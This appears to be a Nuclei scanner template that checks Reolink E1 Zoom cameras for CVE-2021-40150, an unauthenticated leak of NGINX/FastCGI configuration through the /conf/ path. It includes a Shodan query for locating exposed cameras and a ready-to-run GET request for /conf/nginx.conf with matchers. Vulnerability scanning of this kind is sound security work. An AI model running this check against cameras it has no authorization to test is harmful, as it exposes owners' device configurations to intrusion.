id: CVE-2021-40150

info:
  name: Reolink E1 Zoom Camera - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    The web server of the E1 Zoom camera through 3.0.0.716 discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path.
    An unauthenticated attacker can abuse this with network-level access to the camera to download the entire NGINX/FastCGI configurations.
  reference:
    - https://dl.packetstormsecurity.net/2206-exploits/reolinke1config-disclose.txt
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40150.txt
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40150
    cwe-id: CWE-552
  metadata:
    shodan-query: http.title:"Reolink"
    verified: "true"
  tags: cve,cve2021,reolink,camera,exposure,iot

requests:
  - method: GET
    path:
      - "{{BaseURL}}/conf/nginx.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "server"
          - "listen"
          - "fastcgi"
        condition: and

      - type: status
        status:
          - 200